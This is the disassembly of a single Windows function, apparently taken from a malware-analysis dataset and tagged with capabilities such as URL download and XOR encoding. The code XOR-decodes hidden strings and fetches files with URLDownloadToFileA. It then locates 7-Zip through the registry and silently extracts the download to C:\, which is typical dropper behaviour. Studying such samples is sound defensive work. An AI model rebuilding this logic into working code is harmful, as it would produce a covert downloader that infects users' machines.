Function at 0x401e10
Capabilities:
Download url
Encode data using xor
Receive data
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406474
mov eax, dword fs:[0]
push eax
sub esp, 0x10c
mov eax, dword [0x40a040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x40a750], 0xf
lea ecx, [ebp - 0xd8]
mov eax, 0x40a73c
cmova eax, dword [0x40a73c]
push eax
call fcn.00403d50
mov dword [ebp - 4], 0
lea eax, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0xf
push 0x40730c
cmova eax, dword [ebp - 0xd8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
test eax, eax
je 0x401e9f
push eax
call esi
add esp, 4
mov byte [ebp - 0xb9], 0
jmp 0x401ea6
mov byte [ebp - 0xb9], 1
lea ecx, [ebp - 0xd8]
mov dword [ebp - 4], 0xffffffff
call fcn.004042b0
cmp byte [ebp - 0xb9], 0
mov edi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
je 0x401ef7
cmp dword [0x40a750], 0xf
mov ecx, 0x40a73c
push 0
cmova ecx, dword [0x40a73c]
mov eax, 0x40a724
cmp dword [0x40a738], 0xf
push 0
cmova eax, dword [0x40a724]
push ecx
push eax
push 0
call edi
movaps xmm0, xmmword [0x4074d0]
xor ecx, ecx
movups xmmword [ebp - 0xd4], xmm0
mov word [ebp - 0xc4], 0x49
mov byte [ebp - 0xc2], 1
nop word [eax + eax]
lea eax, [ecx + 0x1c]
xor byte [ebp + ecx - 0xd4], al
inc ecx
cmp ecx, 0x11
jb 0x401f20
push ecx
lea eax, [ebp - 0xc3]
mov byte [ebp - 0xc2], 0
push eax
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004046e0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0xf
push 0x40730c
cmova eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x401f82
push eax
call esi
add esp, 4
mov byte [ebp - 0xb9], 0
jmp 0x401f89
mov byte [ebp - 0xb9], 1
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
call fcn.004042b0
cmp byte [ebp - 0xb9], 0
je 0x4020a5
movaps xmm0, xmmword [0x407490]
xor ecx, ecx
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0xf8], 0x1005844
movaps xmm0, xmmword [0x4074f0]
movups xmmword [ebp - 0x108], xmm0
nop dword [eax]
lea eax, [ecx + 0x1c]
xor byte [ebp + ecx - 0x118], al
inc ecx
cmp ecx, 0x22
jb 0x401fd0
push ecx
lea eax, [ebp - 0xf6]
mov byte [ebp - 0xf5], 0
push eax
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0xa0]
call fcn.004046e0
mov dword [ebp - 4], 2
xor ecx, ecx
movaps xmm0, xmmword [0x4074d0]
movups xmmword [ebp - 0xd4], xmm0
mov word [ebp - 0xc4], 0x49
mov byte [ebp - 0xc2], 1
nop dword [eax + eax]
lea eax, [ecx + 0x1c]
xor byte [ebp + ecx - 0xd4], al
inc ecx
cmp ecx, 0x11
jb 0x402030
push ecx
lea eax, [ebp - 0xc3]
mov byte [ebp - 0xc2], 0
push eax
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004046e0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x28]
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0xa0]
push 0
cmova ecx, dword [ebp - 0x28]
cmp dword [ebp - 0x8c], 0xf
push 0
cmova eax, dword [ebp - 0xa0]
push ecx
push eax
push 0
call edi
lea ecx, [ebp - 0x28]
call fcn.004042b0
lea ecx, [ebp - 0xa0]
mov dword [ebp - 4], 0xffffffff
call fcn.004042b0
sub esp, 0x18
mov dword [ebp - 0xcc], 0x7a30672b
mov edx, esp
mov dword [ebp - 0xc8], 0xc024458
mov word [ebp - 0xc4], 0x77
xor ecx, ecx
mov byte [ebp - 0xc2], 1
mov dword [ebp - 0xc0], edx
nop word [eax + eax]
lea eax, [ecx + 0x1c]
xor byte [ebp + ecx - 0xcc], al
inc ecx
cmp ecx, 9
jb 0x4020e0
push ecx
lea eax, [ebp - 0xc3]
mov byte [ebp - 0xc2], 0
push eax
lea eax, [ebp - 0xcc]
mov ecx, edx
push eax
call fcn.004046e0
call fcn.00401a40
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
push 0x32
call esi
cmp dword [0x40a750], 0xf
lea ecx, [ebp - 0x40]
mov eax, 0x40a73c
cmova eax, dword [0x40a73c]
push eax
call fcn.00403d50
push str.SOFTWARE7_Zip
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 4
call fcn.00403c00
push str.Path
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 5
call fcn.00403c00
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x88]
call fcn.00401bc0
add esp, 8
mov byte [ebp - 4], 7
cmp dword [ebp - 0x78], 0
jne 0x4021a8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004044a0
push 0x4046b0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x32
call esi
push 0x2b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
cmp dword [ebp - 0x74], 0xf
lea eax, [ebp - 0x88]
cmova eax, dword [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov edx, dword [ebp - 0x30]
mov eax, 0x7fffffff
sub eax, edx
cmp eax, 0xa
jb 0x402496
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
lea ecx, [edx + 0xa]
mov dword [ebp - 0xe4], 0
cmova eax, dword [ebp - 0x40]
lea edi, [ebp - 0xf4]
mov esi, 0xf
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xe0], 0
xorps xmm0, xmm0
mov dword [ebp - 0xdc], ecx
movups xmmword [ebp - 0xf4], xmm0
cmp ecx, esi
jbe 0x4022a0
mov esi, ecx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x40225d
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.004054f9
add esp, 4
test eax, eax
je 0x40244d
mov ecx, dword [ebp - 0xdc]
lea edi, [eax + 0x23]
mov edx, dword [ebp - 0x30]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x40229a
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x40227e
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x40249b
jmp 0x402238
test eax, eax
je 0x402298
push eax
call fcn.004054f9
mov ecx, dword [ebp - 0xdc]
add esp, 4
mov edx, dword [ebp - 0x30]
mov edi, eax
jmp 0x40229a
xor edi, edi
mov dword [ebp - 0xf4], edi
movq xmm0, qword [str.7z.exe_x__]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe0], esi
movq qword [edi], xmm0
mov ax, word [0x407380]
push edx
push dword [ebp - 0xc0]
mov word [edi + 8], ax
lea eax, [edi + 0xa]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x30]
add esp, 0xc
mov byte [edi + eax + 0xa], 0
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0xe0]
mov eax, edx
mov ecx, dword [ebp - 0xe4]
sub eax, ecx
push 0x15
cmp eax, 0x15
jb 0x40232d
cmp edx, 0xf
lea esi, [ebp - 0xf4]
lea eax, [ecx + 0x15]
cmova esi, dword [ebp - 0xf4]
add esi, ecx
mov dword [ebp - 0xe4], eax
push str.___y__oC:___nul_2_1
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x15], 0
lea eax, [ebp - 0xf4]
jmp 0x402348
push ecx
mov byte [ebp - 0xc0], 0
lea ecx, [ebp - 0xf4]
push dword [ebp - 0xc0]
push 0x15
call fcn.00404d50
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd0], xmm0
movups xmmword [ebp - 0xb8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 0xa
call fcn.004042b0
cmp dword [ebp - 0xa4], 0xf
lea edx, [ebp - 0xb8]
cmova edx, dword [ebp - 0xd0]
sub esp, 0x18
mov ecx, esp
push edx
call fcn.00403d50
call fcn.00401a40
add esp, 0x18
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xb8]
call fcn.004042b0
lea ecx, [ebp - 0x88]
call fcn.004042b0
mov ecx, dword [ebp - 0x44]
cmp ecx, 7
jbe 0x402405
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
mov byte [ebp - 4], 0xb
cmp ecx, 0x1000
jb 0x4023fb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40244d
push ecx
push edx
call fcn.0040577a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
cmp ecx, 7
jbe 0x40245d
mov edx, dword [ebp - 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
mov byte [ebp - 4], 0xc
cmp ecx, 0x1000
jb 0x402453
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402453
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040577a
add esp, 8
xor eax, eax
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
call fcn.004042b0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004054eb
mov esp, ebp
pop ebp
ret
call fcn.00401420
call fcn.00401320
int3